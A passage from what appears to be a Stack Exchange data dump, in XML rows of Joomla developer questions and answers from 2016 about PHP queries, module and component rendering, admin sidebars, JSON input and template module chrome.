  <row Id="17233" PostTypeId="2" ParentId="16057" CreationDate="2016-07-21T07:15:57.100" Score="-1" Body="&lt;p&gt;Go to Extensions -&gt; Plugins. Search for &quot;System - Joomla! Update Notification&quot; and disable it. Not sure it will work, I have just disabled it. I'll see if it works over the comming days.&lt;/p&gt;&#xA;" OwnerUserId="8735" LastActivityDate="2016-07-21T07:15:57.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17234" PostTypeId="2" ParentId="17230" CreationDate="2016-07-21T09:14:51.237" Score="4" Body="&lt;p&gt;You are confusing PHP and MySQL in the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you create a SQL query in PHP, it is a string... so &lt;code&gt;$db-&amp;gt;quoteName('a.DateSubmitted')&lt;/code&gt; returns the field name... it is not a date and it is not the value in your table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, you can perform the date calculation in MySQL, without MySQL-PHP conversions. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;... AND DATE_ADD(DateSubmitted, INTERVAL 5 DAY)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: remember to adjust this string to proper PHP code.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-07-21T09:14:51.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17235" PostTypeId="2" ParentId="15075" CreationDate="2016-07-21T12:14:34.937" Score="3" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1 );&#xA;&#xA;define( 'JPATH_BASE', realpath(dirname(__FILE__).'/../../../..' ));&#xA;require_once ( JPATH_BASE .'/includes/defines.php' );&#xA;require_once ( JPATH_BASE .'/includes/framework.php' );&#xA;&#xA;$mainframe = JFactory::getApplication('site');&#xA;$mainframe-&amp;gt;initialise();&#xA;&#xA;$session = JFactory::getSession();&#xA;&#xA;jimport( 'joomla.application.module.helper' );&#xA;&#xA;$db = JFactory::getDBO();&#xA;$db-&amp;gt;setQuery(&quot;SELECT params FROM #__modules WHERE module = 'mod_module'&quot;);&#xA;&#xA;$module = $db-&amp;gt;loadObject();&#xA;$moduleParams = new JRegistry();&#xA;$moduleParams-&amp;gt;loadString($module-&amp;gt;params);&#xA;&#xA;    $key = $moduleParams-&amp;gt;get('vimkey'); &#xA;    $secret = $moduleParams-&amp;gt;get('vimsecret'); &#xA;    $token = $moduleParams-&amp;gt;get('vimtoken'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8737" LastActivityDate="2016-07-21T12:14:34.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17236" PostTypeId="1" CreationDate="2016-07-21T12:21:54.607" Score="0" ViewCount="444" Body="&lt;p&gt;I am new to joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to develop component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I have sidebar in Joomla admin component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me solve this.&lt;/p&gt;&#xA;" OwnerUserId="8682" LastActivityDate="2016-07-21T13:50:52.653" Title="How to get sidebar in joomla admin" Tags="|joomla-3.x|component|administrator|custom-component|" AnswerCount="1" CommentCount="1" ClosedDate="2016-07-22T07:27:57.070" ContentLicense="CC BY-SA 3.0" />
  <row Id="17237" PostTypeId="1" AcceptedAnswerId="17243" CreationDate="2016-07-21T13:11:30.647" Score="2" ViewCount="3049" Body="&lt;h1&gt;Brief&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I have a component and have a form in it. And I want to render the same form in a module.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example can be core Joomla article edit form&#xA;&lt;strong&gt;components/com_content/views/form/tmpl/edit.php&lt;/strong&gt;&#xA;which is rendered based on&#xA;&lt;strong&gt;components/com_content/models/forms/article.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can see it's not possible to load a component view in the module in this case. &#xA;&lt;strong&gt;Am I right?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;One option&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I see is to use an AJAX to get my form from my component loaded like &lt;strong&gt;?option=com_mycomponent&amp;amp;view=myform&amp;amp;tmpl=component&lt;/strong&gt; and to inject the from HTML into my main page DOM. An ugly way. So I'd not like to use this way. &#xA;&lt;strong&gt;Am I right?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Another way&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;So I want to be &lt;a href=&quot;https://en.wikipedia.org/wiki/Don%27t_repeat_yourself&quot; rel=&quot;nofollow&quot;&gt;DRY&lt;/a&gt; in the module. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I don't want to repeat view part (for example load XML form and bind data to it). &#xA;&lt;em&gt;How to stay DRY in the module with the view part?&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't repeat the template part rendering HTML (&lt;strong&gt;/views/form/tmpl/edit.php&lt;/strong&gt;)&#xA;Here the things are simpler. I can use JLayouts instead of the &lt;strong&gt;tmpl/default.php&lt;/strong&gt; approach in my component. &#xA;So I can reuse the layouts anywhere (in a module, a plugin). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;What I beg for&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Please, tell me how to behave in the most proper way in this case. Or give me a component-&gt;module or a component-&gt;template example which implements such an approach. So I can investigate the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt;&#xA;I wonder why mod_login uses own form template instead of reusing the same component view. That would be a nice example for guys like me.&lt;/p&gt;&#xA;" OwnerUserId="8616" LastActivityDate="2016-07-21T17:59:36.910" Title="How to render a component view in a module?" Tags="|module-display|mvc|view|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17238" PostTypeId="2" ParentId="16889" CreationDate="2016-07-21T13:25:38.037" Score="0" Body="&lt;p&gt;For generating tokens I have used this method &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function generateToken($length)&#xA;{&#xA;    jimport('joomla.user.helper');&#xA;    $token = JUserHelper::genRandomPassword($length);&#xA;&#xA;    return $token;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Main advantage of this method is that I can generate random string up to 32 char. &lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="3637" LastEditDate="2016-08-19T10:24:37.833" LastActivityDate="2016-08-19T10:24:37.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17239" PostTypeId="2" ParentId="17236" CreationDate="2016-07-21T13:50:52.653" Score="0" Body="&lt;p&gt;Look at an example:&#xA;&lt;strong&gt;administrator/components/com_installer/views/default/view.php&lt;/strong&gt;&#xA;In the view it renders the sidebar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Render side bar.&#xA;    $this-&amp;gt;sidebar = JHtmlSidebar::render();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Later in a template it outputs the sidebar &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php echo $this-&amp;gt;sidebar; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But how does it know what to be in the sidebar?&lt;/strong&gt;&#xA;In the main controller&#xA;&lt;strong&gt;administrator/components/com_installer/controller.php&lt;/strong&gt;&#xA;it established the sidebar &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        // Load the submenu.&#xA;        InstallerHelper::addSubmenu($vName);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if you look at the helpder, you can see that it just adds common buttons to the sidebar&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    JHtmlSidebar::addEntry(&#xA;        JText::_('COM_INSTALLER_SUBMENU_INSTALL'),&#xA;        'index.php?option=com_installer',&#xA;        $vName == 'install'&#xA;    );&#xA;    JHtmlSidebar::addEntry(&#xA;        JText::_('COM_INSTALLER_SUBMENU_UPDATE'),&#xA;        'index.php?option=com_installer&amp;amp;view=update',&#xA;        $vName == 'update'&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So resuming:&#xA;Add buttons like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtmlSidebar::addEntry(&#xA;    JText::_('COM_INSTALLER_SUBMENU_INSTALL'),&#xA;    'index.php?option=com_installer',&#xA;    $vName == 'install'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Render sidebar like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JHtmlSidebar::render();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8616" LastActivityDate="2016-07-21T13:50:52.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17241" PostTypeId="1" AcceptedAnswerId="17247" CreationDate="2016-07-21T14:34:10.390" Score="1" ViewCount="254" Body="&lt;p&gt;while updating to Joomla 3.6.0 this error occurred:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Duplicate column name 'last_check_timestamp' SQL=ALTER TABLE &lt;code&gt;#__update_sites&lt;/code&gt; ADD COLUMN &lt;code&gt;last_check_timestamp&lt;/code&gt; bigint(20) DEFAULT '0' AFTER &lt;code&gt;enabled&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i had the same error while updating to Joomla 3.5.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what is this? and how can i fix it?&lt;/p&gt;&#xA;" OwnerUserId="8738" LastActivityDate="2016-07-22T02:41:13.663" Title="error while updating to Joomla 3.6.0" Tags="|joomla-3.x|update|joomla-3.6|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17242" PostTypeId="2" ParentId="17237" CreationDate="2016-07-21T16:49:28.547" Score="1" Body="&lt;p&gt;When I want to use a component in a module I use Regular Labs's Component Anywhere extension. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.regularlabs.com/extensions/componentsanywhere&quot; rel=&quot;nofollow&quot;&gt;https://www.regularlabs.com/extensions/componentsanywhere&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps that could be an example for you to review.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTH&lt;/p&gt;&#xA;" OwnerUserId="3779" LastActivityDate="2016-07-21T16:49:28.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17243" PostTypeId="2" ParentId="17237" CreationDate="2016-07-21T17:59:36.910" Score="6" Body="&lt;p&gt;This is code I write time ago for Joomla 1.5, you will need adapt it for jooma 3.x (JRequest -&gt; JInput, ...), and surely there is more elegant way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the basic part of module.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My component is 'com_alojamiento', the controller is 'alojamientoController'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get current option, view, layout, ... to restore it after render.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$optionant = JRequest::getCmd('option',null);&#xA;$view = JRequest::getCmd('view',null);&#xA;$layout = JRequest::getCmd('layout',null);&#xA;$task = JRequest::getCmd('task',null);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then set your parameters, option, view, layout and wathever you need, ids,...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$yourcomponent = '';&#xA;$yourview = '';&#xA;$yourlayout = '';&#xA;$yourtask = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set it in JRequest (JInput in 3.x)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRequest::setVar('option', $yourcomponent); &#xA;JRequest::setVar('view', $yourview);&#xA;JRequest::setVar('layout', $yourlayout);&#xA;JRequest::setVar('task', 'yourtask');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set additional parameters like id, customer_id, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Language files&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$lang = JFactory::getLanguage();&#xA;$lang-&amp;gt;load('com_alojamiento', JPATH_SITE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Load the controller&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!class_exists('alojamientoController')) {&#xA;    require_once (JPATH_SITE .DS. 'components' .DS. 'com_alojamiento' .DS. 'controller.php');&#xA;}&#xA;$controller = new alojamientoController();&#xA;$controller-&amp;gt;addModelPath(JPATH_SITE .DS. 'components' .DS. 'com_alojamiento' .DS. 'models' .DS);&#xA;&#xA;$controller-&amp;gt;setProperties(array(&#xA;    '_basePath' =&amp;gt; JPATH_SITE .DS. 'components' .DS. 'com_alojamiento',&#xA;    '_path' =&amp;gt; array(&#xA;        'view' =&amp;gt; array(&#xA;            JPATH_SITE .DS. 'components' .DS. 'com_alojamiento' .DS. 'views'&#xA;            ),&#xA;        'model' =&amp;gt; array(&#xA;            JPATH_SITE .DS. 'components' .DS. 'com_alojamiento' .DS. 'models'&#xA;            )&#xA;        )&#xA;    ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And render&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob_start();&#xA;$controller-&amp;gt;execute($task);&#xA;$salida = ob_get_contents();&#xA;ob_end_clean();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After render, restore current values&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRequest::setVar('option', $optionant);&#xA;JRequest::setVar('view', $view);&#xA;JRequest::setVar('layout', $layout);&#xA;JRequest::setVar('task', $task);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Component view contents are in $salida variable to use in your module tpl&lt;/p&gt;&#xA;" OwnerUserId="8234" LastActivityDate="2016-07-21T17:59:36.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17245" PostTypeId="1" CreationDate="2016-07-21T20:23:12.803" Score="2" ViewCount="623" Body="&lt;p&gt;I have a table with 3 columns: SubmissionId, FieldName and FieldValue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1) SubmissionId&lt;/strong&gt; keeps ID submission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2) FieldName&lt;/strong&gt; stores field name of a form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3) FieldValue&lt;/strong&gt; stores field value of form field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a form with 3 fields: &lt;code&gt;name&lt;/code&gt;, &lt;code&gt;email&lt;/code&gt; and &lt;code&gt;status&lt;/code&gt;. I have four submissions, in total there are 12 entries: 3 per submission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get 3 records of a submission where the &lt;code&gt;status&lt;/code&gt; field of that submission is equal to the string &quot;open&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible? I the query to follow, but it evidently only retrieves the record containing the &quot;status&quot; field. I need the other 2 fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATED:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query&#xA;    -&amp;gt;select('a.SubmissionId, a.DateSubmitted, a.status, b.SubmissionId, b.FieldName, b.FieldValue')&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__rsform_submissions', 'a'))&#xA;    -&amp;gt;join('INNER', $db-&amp;gt;quoteName('#__rsform_submission_values', 'b') . ' ON (' . $db-&amp;gt;quoteName('a.SubmissionId') . ' = ' . $db-&amp;gt;quoteName('b.SubmissionId') . ')')&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('b.FieldName') . ' = \'status\' AND ' . $db-&amp;gt;quoteName('b.FieldValue') . ' = \'open\'' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8699" LastEditorUserId="12352" LastEditDate="2019-10-18T07:45:08.430" LastActivityDate="2019-10-18T07:45:08.430" Title="How to retrieve RSForm submission data grouped by SubmissionId?" Tags="|joomla-3.x|php|mysql|rsform|pivot|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17246" PostTypeId="1" AcceptedAnswerId="17283" CreationDate="2016-07-22T00:36:13.653" Score="1" ViewCount="1499" Body="&lt;p&gt;If I send a JSON string to my controller that has a nested object in it, rather than just a simple object with a bunch of scalar properties on it, I don't seem to have a way of accessing the nested object effectively. If I 'get' the name of the nested object, I am returned an array of the property values of the nested object, which isn't much use to me. Any hints?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sending this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;feedback&quot;:{&quot;howhear&quot;:&quot;Leaflet&quot;,&quot;comment&quot;:&quot;Nice Joomla! site&quot;}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And accessing it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$jinput = $app-&amp;gt;input-&amp;gt;json;&#xA;$feedback = $jinput-&amp;gt;get('feedback');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just gives me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[ &quot;Leaflet&quot;, &quot;Nice Joomla! site&quot; ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can I get the object instead using JInputJSON, or do I need to fallback to handling the raw POST data ie via php://input&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify, the key benefit I want from using JInputJSON is the filtering capabilities it provides. I know json_decode is available for the task, but it provides no filtering eg. to combat SQL injection attacks.&lt;/p&gt;&#xA;" OwnerUserId="454" LastEditorUserId="454" LastEditDate="2016-07-22T22:04:53.500" LastActivityDate="2018-03-21T09:59:24.863" Title="Getting structured data from JInputJSON" Tags="|jinput|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17247" PostTypeId="2" ParentId="17241" CreationDate="2016-07-22T02:41:13.663" Score="1" Body="&lt;p&gt;Go into your backend and go to Extensions-&gt;Manage-&gt;Database&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click the Fix button top left&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2016-07-22T02:41:13.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17248" PostTypeId="1" CreationDate="2016-07-22T04:01:57.887" Score="1" ViewCount="48" Body="&lt;p&gt;I am getting an error that covers the menu of my Joomla admin page and cannot get rid of it. It says &quot;No Matching Results&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions? Thanks&lt;/p&gt;&#xA;" OwnerUserId="8741" LastActivityDate="2016-07-22T16:04:53.997" Title="No Matching Results error covers my toolbar" Tags="|cpanel|" AnswerCount="1" CommentCount="1" ClosedDate="2016-07-23T07:16:02.303" ContentLicense="CC BY-SA 3.0" />
  <row Id="17250" PostTypeId="2" ParentId="15818" CreationDate="2016-07-22T10:36:04.860" Score="1" Body="&lt;p&gt;You can also do this by including Javascript file in footer so that it will overwrite the file. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new file called footer.php in &lt;b&gt;/libraries/joomla/document/html/renderer/&lt;/b&gt; directory:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;b&gt;/libraries/joomla/document/document.php&lt;/b&gt; add after&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;public $_scripts = array();&lt;/code&gt;&lt;br&gt;&#xA;this&lt;br&gt;&#xA;&lt;code&gt;public $_footer_scripts = array();&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add method &lt;strong&gt;addFooterScript()&lt;/strong&gt; after the &lt;strong&gt;addScript()&lt;/strong&gt; method &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function addFooterScript($url, $type = &quot;text/javascript&quot;, $defer = false, $async = false) {&#xA;    $this-&amp;gt;_footer_scripts[$url]['mime'] = $type;&#xA;    $this-&amp;gt;_footer_scripts[$url]['defer'] = $defer;&#xA;    $this-&amp;gt;_footer_scripts[$url]['async'] = $async;&#xA;    return $this;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In index.php in you template folder add just before the  tag &lt;br&gt;&#xA;&lt;code&gt;&amp;lt;jdoc:include type=&quot;footer&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Done!&#xA;&lt;br&gt;&#xA;Now in layouts inside your template's folder you can use the following code to add javascript files to footer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc =&amp;amp; JFactory::getDocument();&#xA;$doc-&amp;gt;addFooterScript('JavaScript_File_Path.js');&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For more instructions check this - &lt;a href=&quot;https://github.com/rishiv3/joomla-adding-javascript-file-in-the-footer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Javascript files includes in footer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="3637" LastEditDate="2016-12-04T09:07:10.993" LastActivityDate="2016-12-04T09:07:10.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17251" PostTypeId="1" AcceptedAnswerId="17255" CreationDate="2016-07-22T12:39:26.883" Score="0" ViewCount="311" Body="&lt;p&gt;Apologies if this is a really silly question:&#xA;I found a template (on templatemonster) that I really want to use for a Joomla site, but the template is listed as a Bootstrap theme - is it possible (or easy) to convert to a Joomla template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rob.&lt;/p&gt;&#xA;" OwnerUserId="8744" LastActivityDate="2016-07-22T14:45:52.093" Title="Convert bootstrap theme to Joomla" Tags="|templates|bootstrap|" AnswerCount="1" CommentCount="1" ClosedDate="2016-07-23T07:17:04.870" ContentLicense="CC BY-SA 3.0" />
  <row Id="17252" PostTypeId="1" AcceptedAnswerId="17253" CreationDate="2016-07-22T12:43:46.773" Score="1" ViewCount="95" Body="&lt;p&gt;I want to use 1 module position (showcase) but have duplicate modules set the bootstrap column width based on the amount of modules assigned to that position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have written the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;?php if($this-&amp;gt;countModules('showcase')) : ?&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-&amp;lt;?php echo (12/$this-&amp;gt;countModules('showcase'));?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;showcase&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this is outputting the following html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;col-md-6&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;block&quot;&amp;gt;&#xA;            &amp;lt;h2 class=&quot;header&quot;&amp;gt;Show Case 1&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;div class=&quot;custom&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;This is a test&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;custom&quot;&amp;gt;&#xA;            &amp;lt;h2 class=&quot;header&quot;&amp;gt;Show Case 2&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;p&amp;gt;This is a test&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;rather than (how I want it to look):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;col-md-6&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;block&quot;&amp;gt;&#xA;            &amp;lt;h2 class=&quot;header&quot;&amp;gt;Show Case 1&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;div class=&quot;custom&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;This is a test&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;col-md-6&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;block&quot;&amp;gt;&#xA;            &amp;lt;h2 class=&quot;header&quot;&amp;gt;Show Case 2&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;div class=&quot;custom&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;This is a test&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="294" LastActivityDate="2016-07-22T13:53:34.633" Title="Re-using Joomla module positions not setting Bootstrap Column width correctly" Tags="|joomla-3.x|php|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17253" PostTypeId="2" ParentId="17252" CreationDate="2016-07-22T13:32:19.753" Score="2" Body="&lt;p&gt;The reason being is that you've got your &lt;code&gt;jdoc:include&lt;/code&gt; inside the following wrapper:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;col-md-&amp;lt;?php echo (12/$this-&amp;gt;countModules('showcase'));?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So all the modules assigned to this position will be displayed within this wrapper.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Have a look at the following file: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;templates/YOUR_TEMPLATE/ html/modules.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In here you'll see the variables and HTML markup that will be wrapped around your module. Your best bet will be to do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;index.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;countModules('showcase')) : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;showcase&quot; style=&quot;mystyle&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then add a new &lt;code&gt;mocChrome&lt;/code&gt; to the file mentioned above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function modChrome_mystyle($module, &amp;amp;$params, &amp;amp;$attribs)&#xA;{&#xA;    $moduleTag     = $params-&amp;gt;get('module_tag', 'div');&#xA;    $bootstrapSize = (int) $params-&amp;gt;get('bootstrap_size', 0);&#xA;    $moduleClass   = $bootstrapSize != 0 ? ' col-md-' . $bootstrapSize : ' col-md-12';&#xA;    $headerTag     = htmlspecialchars($params-&amp;gt;get('header_tag', 'h3'), ENT_COMPAT, 'UTF-8');&#xA;    $headerClass   = htmlspecialchars($params-&amp;gt;get('header_class', 'page-header'), ENT_COMPAT, 'UTF-8');&#xA;&#xA;    if ($module-&amp;gt;content)&#xA;    {&#xA;        echo '&amp;lt;' . $moduleTag . ' class=&quot;' . htmlspecialchars($params-&amp;gt;get('moduleclass_sfx'), ENT_COMPAT, 'UTF-8') . $moduleClass . 